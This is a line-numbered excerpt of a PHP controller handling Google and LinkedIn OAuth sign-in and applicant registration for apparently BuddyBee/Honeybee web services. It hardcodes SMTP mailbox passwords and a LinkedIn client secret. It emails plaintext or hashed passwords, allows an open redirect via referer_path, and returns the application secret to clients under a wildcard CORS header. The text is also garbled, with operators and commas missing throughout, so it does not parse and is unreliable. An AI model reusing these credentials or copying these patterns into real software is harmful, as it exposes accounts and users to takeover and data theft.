  6073.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6074.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6075.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6076.                     'type' => 1,
  6077.                     'token' => $token,
  6078.                 ];
  6079.             }
  6080.         } else if (isset($_GET["code"])) {
  6081.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6082.             if (!isset($token['error'])) {
  6083.                 $google_client->setAccessToken($token['access_token']);
  6084.                 $google_service = new Google_Service_Oauth2($google_client);
  6085.                 $applicantInfo $google_service->userinfo->get();
  6086.                 $oAuthEmail $applicantInfo['email'];
  6087.                 $oAuthData = [
  6088.                     'email' => $applicantInfo['email'],
  6089.                     'uniqueId' => $applicantInfo['id'],
  6090.                     'image' => $applicantInfo['picture'],
  6091.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6092.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6093.                     'firstName' => $applicantInfo['givenName'],
  6094.                     'lastName' => $applicantInfo['familyName'],
  6095.                     'type' => $token['token_type'],
  6096.                     'token' => $token['access_token'],
  6097.                 ];
  6098.             }
  6099.         }
  6100.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  6101.             $isApplicantExist $applicantRepo->findOneBy([
  6102.                 'email' => $oAuthData['email']
  6103.             ]);
  6104.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  6105.                 $isApplicantExist $applicantRepo->findOneBy([
  6106.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  6107.                 ]);
  6108.             }
  6109.             if ($isApplicantExist) {
  6110.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6111.                 } else
  6112.                     return $this->redirectToRoute("core_login", [
  6113.                         'id' => $isApplicantExist->getApplicantId(),
  6114.                         'oAuthData' => $oAuthData,
  6115.                         'encData' => $encData,
  6116.                         'locale' => $request->request->get('locale''en'),
  6117.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6118.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6119.                     ]);
  6120.             } else {
  6121.                 $fname $oAuthData['firstName'];
  6122.                 $lname $oAuthData['lastName'];
  6123.                 $img $oAuthData['image'];
  6124.                 $email $oAuthData['email'];
  6125.                 $oAuthEmail $oAuthData['email'];
  6126.                 $userName explode('@'$email)[0];
  6127.                 //now check if same username exists
  6128.                 $username_already_exist 1;
  6129.                 $initial_user_name $userName;
  6130.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6131.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6132.                     $isUsernameExist $applicantRepo->findOneBy([
  6133.                         'username' => $userName
  6134.                     ]);
  6135.                     if ($isUsernameExist) {
  6136.                         $username_already_exist 1;
  6137.                         $userName $initial_user_name '' rand(3009987);
  6138.                     } else {
  6139.                         $username_already_exist 0;
  6140.                     }
  6141.                     $timeoutSafeCount--;
  6142.                 }
  6143.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6144.                     $currentUnixTimeStamp '';
  6145.                     $currentUnixTime = new \DateTime();
  6146.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6147.                     $userName $userName '' $currentUnixTimeStamp;
  6148.                 }
  6149.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6150.                 $charactersLength strlen($characters);
  6151.                 $length 8;
  6152.                 $password 0;
  6153.                 for ($i 0$i $length$i++) {
  6154.                     $password .= $characters[rand(0$charactersLength 1)];
  6155.                 }
  6156.                 $newApplicant = new EntityApplicantDetails();
  6157.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6158.                 $newApplicant->setEmail($email);
  6159.                 $newApplicant->setUserName($userName);
  6160.                 $newApplicant->setFirstname($fname);
  6161.                 $newApplicant->setLastname($lname);
  6162.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6163.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6164.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6165.                 $newApplicant->setAccountStatus(1);
  6166.                 //salt will be username
  6167. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6168.                 $salt uniqid(mt_rand());
  6169.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6170.                 $newApplicant->setPassword($encodedPassword);
  6171.                 $newApplicant->setSalt($salt);
  6172.                 $newApplicant->setTempPassword($password);
  6173. //                $newApplicant->setPassword($password);
  6174.                 $marker $userName '-' time();
  6175. //                $extension_here=$uploadedFile->guessExtension();
  6176. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6177. //                $path = $fileName;
  6178.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6179.                 if (!file_exists($upl_dir)) {
  6180.                     mkdir($upl_dir0777true);
  6181.                 }
  6182.                 $ch curl_init($img);
  6183.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6184.                 curl_setopt($chCURLOPT_FILE$fp);
  6185.                 curl_setopt($chCURLOPT_HEADER0);
  6186.                 curl_exec($ch);
  6187.                 curl_close($ch);
  6188.                 fclose($fp);
  6189.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6190. //                $newApplicant->setImage($img);
  6191.                 $newApplicant->setIsConsultant(0);
  6192.                 $newApplicant->setIsTemporaryEntry(0);
  6193.                 $newApplicant->setApplyForConsultant(0);
  6194.                 $newApplicant->setTriggerResetPassword(0);
  6195.                 $em->persist($newApplicant);
  6196.                 $em->flush();
  6197.                 $isApplicantExist $newApplicant;
  6198.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6199.                     if ($systemType == '_BUDDYBEE_') {
  6200.                         $bodyHtml '';
  6201.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6202.                         $bodyData = array(
  6203.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6204.                             'email' => $userName,
  6205.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6206.                             'password' => $newApplicant->getTempPassword(),
  6207.                         );
  6208.                         $attachments = [];
  6209.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6210. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6211.                         $new_mail $this->get('mail_module');
  6212.                         $new_mail->sendMyMail(array(
  6213.                             'senderHash' => '_CUSTOM_',
  6214.                             //                        'senderHash'=>'_CUSTOM_',
  6215.                             'forwardToMailAddress' => $forwardToMailAddress,
  6216.                             'subject' => 'Welcome to BuddyBee ',
  6217. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6218.                             'attachments' => $attachments,
  6219.                             'toAddress' => $forwardToMailAddress,
  6220.                             'fromAddress' => 'registration@buddybee.eu',
  6221.                             'userName' => 'registration@buddybee.eu',
  6222.                             'password' => 'Y41dh8g0112',
  6223.                             'smtpServer' => 'smtp.hostinger.com',
  6224.                             'smtpPort' => 465,
  6225.                             'encryptionMethod' => 'ssl',
  6226. //                            'emailBody' => $bodyHtml,
  6227.                             'mailTemplate' => $bodyTemplate,
  6228.                             'templateData' => $bodyData,
  6229. //                        'embedCompanyImage' => 1,
  6230. //                        'companyId' => $companyId,
  6231. //                        'companyImagePath' => $company_data->getImage()
  6232.                         ));
  6233.                     } else {
  6234.                         $bodyHtml '';
  6235.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6236.                         $bodyData = array(
  6237.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6238.                             'email' => 'APP-' $userName,
  6239.                             'password' => $newApplicant->getPassword(),
  6240.                         );
  6241.                         $attachments = [];
  6242.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6243. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6244.                         $new_mail $this->get('mail_module');
  6245.                         $new_mail->sendMyMail(array(
  6246.                             'senderHash' => '_CUSTOM_',
  6247.                             //                        'senderHash'=>'_CUSTOM_',
  6248.                             'forwardToMailAddress' => $forwardToMailAddress,
  6249.                             'subject' => 'Applicant Registration on Honeybee',
  6250. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6251.                             'attachments' => $attachments,
  6252.                             'toAddress' => $forwardToMailAddress,
  6253.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6254.                             'userName' => 'accounts@ourhoneybee.eu',
  6255.                             'password' => 'Honeybee@0112',
  6256.                             'smtpServer' => 'smtp.hostinger.com',
  6257.                             'smtpPort' => 465,
  6258.                             'encryptionMethod' => 'ssl',
  6259. //                            'emailBody' => $bodyHtml,
  6260.                             'mailTemplate' => $bodyTemplate,
  6261.                             'templateData' => $bodyData,
  6262. //                        'embedCompanyImage' => 1,
  6263. //                        'companyId' => $companyId,
  6264. //                        'companyImagePath' => $company_data->getImage()
  6265.                         ));
  6266.                     }
  6267.                 }
  6268.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6269.                 } else {
  6270.                     return $this->redirectToRoute("core_login", [
  6271.                         'id' => $newApplicant->getApplicantId(),
  6272.                         'oAuthData' => $oAuthData,
  6273.                         'encData' => $encData,
  6274.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6275.                         'locale' => $request->request->get('locale''en'),
  6276.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6277.                     ]);
  6278.                 }
  6279.             }
  6280.         }
  6281.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6282.             if ($isApplicantExist) {
  6283.                 $user $isApplicantExist;
  6284.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6285.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6286.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6287.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6288.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6289.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6290.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6291.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6292.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6293.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6294.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6295.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6296.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6297.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6298.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6299.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6300.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6301.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6302.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6303.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6304.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6305.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6306.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6307.                     $session->set('userCompanyVibrantList'json_encode([]));
  6308.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6309.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6310.                     $session->set(UserConstants::USER_APP_ID0);
  6311.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6312.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6313.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6314.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6315.                     $session->set(UserConstants::USER_GOC_ID0);
  6316.                     $session->set(UserConstants::USER_DB_NAME'');
  6317.                     $session->set(UserConstants::USER_DB_USER'');
  6318.                     $session->set(UserConstants::USER_DB_PASS'');
  6319.                     $session->set(UserConstants::USER_DB_HOST'');
  6320.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6321.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6322.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6323.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6324.                     $session->set('locale'$request->request->get('locale'''));
  6325.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6326.                     $route_list_array = [];
  6327.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6328.                     $loginID 0;
  6329.                     $loginID MiscActions::addEntityUserLoginLog(
  6330.                         $em,
  6331.                         $session->get(UserConstants::USER_ID),
  6332.                         $session->get(UserConstants::USER_ID),
  6333.                         1,
  6334.                         $request->server->get("REMOTE_ADDR"),
  6335.                         0,
  6336.                         $request->request->get('deviceId'''),
  6337.                         $request->request->get('oAuthToken'''),
  6338.                         $request->request->get('oAuthType'''),
  6339.                         $request->request->get('locale'''),
  6340.                         $request->request->get('firebaseToken''')
  6341.                     );
  6342.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6343.                     $session_data = array(
  6344.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6345.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6346.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6347.                         'oAuthToken' => $session->get('oAuthToken'),
  6348.                         'locale' => $session->get('locale'),
  6349.                         'firebaseToken' => $session->get('firebaseToken'),
  6350.                         'token' => $session->get('token'),
  6351.                         'firstLogin' => 0,
  6352.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6353.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6354.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6355.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6356.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6357.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6358.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6359.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6360.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6361.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6362.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6363.                         'oAuthImage' => $session->get('oAuthImage'),
  6364.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6365.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6366.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6367.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6368.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6369.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6370.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6371.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6372.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6373.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6374.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6375.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6376.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6377.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6378.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6379.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6380.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6381.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6382.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6383.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6384.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6385.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6386.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6387.                         //new
  6388.                         'appIdList' => $session->get('appIdList'),
  6389.                         'branchIdList' => $session->get('branchIdList'null),
  6390.                         'branchId' => $session->get('branchId'null),
  6391.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6392.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6393.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6394.                     );
  6395.                     $session_data $this->filterClientSessionData($session_data);
  6396.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6397.                     $session_data $tokenData['sessionData'];
  6398.                     $token $tokenData['token'];
  6399.                     $session->set('token'$token);
  6400.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6401.                         $session->set('remoteVerified'1);
  6402.                         $response = new JsonResponse(array(
  6403.                             'token' => $token,
  6404.                             'uid' => $session->get(UserConstants::USER_ID),
  6405.                             'session' => $session,
  6406.                             'success' => true,
  6407.                             'session_data' => $session_data,
  6408.                         ));
  6409.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6410.                         return $response;
  6411.                     }
  6412.                     if ($request->request->has('referer_path')) {
  6413.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6414.                             return $this->redirect($request->request->get('referer_path'));
  6415.                         }
  6416.                     }
  6417.                     $redirectRoute 'applicant_dashboard';
  6418.                     if ($request->query->has('encData')) {
  6419.                         if ($request->query->get('encData') == '8917922')
  6420.                             $redirectRoute 'apply_for_consultant';
  6421.                     }
  6422.                     return $this->redirectToRoute($redirectRoute);
  6423.                 }
  6424. //                    $response = new JsonResponse(array(
  6425. //                        'token' => $token,
  6426. //                        'uid' => $session->get(UserConstants::USER_ID),
  6427. //                        'session' => $session,
  6428. //
  6429. //                        'success' => true,
  6430. //                        'session_data' => $session_data,
  6431. //
  6432. //                    ));
  6433. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6434. //                    return $response;
  6435. //                    return $this->redirectToRoute("user_login", [
  6436. //                        'id' => $isApplicantExist->getApplicantId(),
  6437. //                        'oAuthData' => $oAuthData,
  6438. //                        'encData' => $encData,
  6439. //                        'locale' => $request->request->get('locale', 'en'),
  6440. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6441. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6442. //                    ]);
  6443.             }
  6444.         }
  6445. //        if ($request->isMethod('POST')){
  6446. //            $new = new EntityApplicantDetails();
  6447. //
  6448. //            $new-> setUsername->$request->request->get('userName');
  6449. //            $new-> setEmail()->$request->request->get('email');
  6450. //            $new-> setPassword()->$request->request->get('password');
  6451. //            $new-> setSelector()->$request->request->get('selector');
  6452. //
  6453. //
  6454. //            $em->persist($new);
  6455. //            $em->flush();
  6456. //        }
  6457.         $selector BuddybeeConstant::$selector;
  6458.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6459.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6460.         if ($systemType == '_ERP_') {
  6461.         } else if ($systemType == '_BUDDYBEE_') {
  6462.             return $this->render(
  6463.                 '@Authentication/pages/views/applicant_login.html.twig',
  6464.                 [
  6465.                     'page_title' => 'BuddyBee Login',
  6466.                     'oAuthLink' => $google_client->createAuthUrl(),
  6467.                     'redirect_url' => $url,
  6468.                     'message' => $message,
  6469.                     'errorField' => $errorField,
  6470.                     'encData' => $encData,
  6471.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6472.                     'selector' => $selector
  6473.                 ]
  6474.             );
  6475.         }
  6476.         return $this->render(
  6477.             '@Authentication/pages/views/applicant_login.html.twig',
  6478.             [
  6479.                 'page_title' => 'Applicant Registration',
  6480.                 'oAuthLink' => $google_client->createAuthUrl(),
  6481.                 'redirect_url' => $url,
  6482.                 'encData' => $encData,
  6483.                 'message' => $message,
  6484.                 'errorField' => $errorField,
  6485.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6486.                 'selector' => $selector
  6487.             ]
  6488.         );
  6489.     }
  6490.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6491.     {
  6492.         $session $request->getSession();
  6493.         $email $request->getSession()->get('userEmail');
  6494.         $sessionUserId $request->getSession()->get('userId');
  6495.         $oAuthData = [];
  6496. //    $encData='';
  6497.         $em $this->getDoctrine()->getManager('company_group');
  6498.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6499.         $redirectRoute 'dashboard';
  6500.         if ($encData != '') {
  6501.             if ($encData == '8917922')
  6502.                 $redirectRoute 'apply_for_consultant';
  6503.         }
  6504.         if ($request->query->has('encData')) {
  6505.             $encData $request->query->get('encData');
  6506.             if ($encData == '8917922')
  6507.                 $redirectRoute 'apply_for_consultant';
  6508.         }
  6509.         $message '';
  6510.         $errorField '_NONE_';
  6511.         if ($request->query->has('message')) {
  6512.             $message $request->query->get('message');
  6513.         }
  6514.         if ($request->query->has('errorField')) {
  6515.             $errorField $request->query->get('errorField');
  6516.         }
  6517.         if ($request->request->has('oAuthData')) {
  6518.             $oAuthData $request->request->get('oAuthData', []);
  6519.         } else {
  6520.             $oAuthData = [
  6521.                 'email' => $request->request->get('email'''),
  6522.                 'uniqueId' => $request->request->get('uniqueId'''),
  6523.                 'oAuthHash' => '_NONE_',
  6524.                 'image' => $request->request->get('image'''),
  6525.                 'emailVerified' => $request->request->get('emailVerified'''),
  6526.                 'name' => $request->request->get('name'''),
  6527.                 'firstName' => $request->request->get('firstName'''),
  6528.                 'lastName' => $request->request->get('lastName'''),
  6529.                 'type' => 1,
  6530.                 'token' => $request->request->get('oAuthtoken'''),
  6531.             ];
  6532.         }
  6533.         $isApplicantExist null;
  6534.         if ($email) {
  6535.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6536.                 $isApplicantExist $applicantRepo->findOneBy([
  6537.                     'applicantId' => $sessionUserId
  6538.                 ]);
  6539.             } else
  6540.                 return $this->redirectToRoute($redirectRoute);
  6541.         }
  6542.         $google_client = new Google_Client();
  6543. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6544. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6545.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6546.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6547.         } else {
  6548.             $url $this->generateUrl(
  6549.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6550.             );
  6551.         }
  6552.         $selector BuddybeeConstant::$selector;
  6553.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6554.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6555. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6556. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6557.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6558. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6559.         $google_client->setRedirectUri($url);
  6560.         $google_client->setAccessType('offline');        // offline access
  6561.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6562.         $google_client->addScope('email');
  6563.         $google_client->addScope('profile');
  6564.         $google_client->addScope('openid');
  6565. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6566.         //linked in 1st
  6567.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6568.             $curl curl_init();
  6569.             curl_setopt_array($curl, array(
  6570.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6571.                 CURLOPT_HEADER => false,  // don't return headers
  6572.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6573.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6574.                 CURLOPT_ENCODING => "",     // handle compressed
  6575.                 CURLOPT_USERAGENT => "test"// name of client
  6576.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6577.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6578.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6579.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6580.                 CURLOPT_USERAGENT => 'InnoPM',
  6581.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6582.                 CURLOPT_POST => 1,
  6583.                 CURLOPT_HTTPHEADER => array(
  6584.                     'Content-Type: application/x-www-form-urlencoded'
  6585.                 )
  6586.             ));
  6587.             $content curl_exec($curl);
  6588.             $contentArray = [];
  6589.             curl_close($curl);
  6590.             $token false;
  6591. //      return new JsonResponse(array(
  6592. //          'content'=>$content,
  6593. //          'contentArray'=>json_decode($content,true),
  6594. //
  6595. //      ));
  6596.             if ($content) {
  6597.                 $contentArray json_decode($contenttrue);
  6598.                 $token $contentArray['access_token'];
  6599.             }
  6600.             if ($token) {
  6601.                 $applicantInfo = [];
  6602.                 $curl curl_init();
  6603.                 curl_setopt_array($curl, array(
  6604.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6605.                     CURLOPT_HEADER => false,  // don't return headers
  6606.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6607.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6608.                     CURLOPT_ENCODING => "",     // handle compressed
  6609.                     CURLOPT_USERAGENT => "test"// name of client
  6610.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6611.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6612.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6613.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6614.                     CURLOPT_USERAGENT => 'InnoPM',
  6615.                     CURLOPT_HTTPGET => 1,
  6616.                     CURLOPT_HTTPHEADER => array(
  6617.                         'Authorization: Bearer ' $token,
  6618.                         'Header-Key-2: Header-Value-2'
  6619.                     )
  6620.                 ));
  6621.                 $userGeneralcontent curl_exec($curl);
  6622.                 curl_close($curl);
  6623.                 if ($userGeneralcontent) {
  6624.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6625.                 }
  6626.                 $curl curl_init();
  6627.                 curl_setopt_array($curl, array(
  6628.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6629.                     CURLOPT_HEADER => false,  // don't return headers
  6630.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6631.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6632.                     CURLOPT_ENCODING => "",     // handle compressed
  6633.                     CURLOPT_USERAGENT => "test"// name of client
  6634.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6635.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6636.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6637.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6638. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6639.                     CURLOPT_USERAGENT => 'InnoPM',
  6640.                     CURLOPT_HTTPGET => 1,
  6641.                     CURLOPT_HTTPHEADER => array(
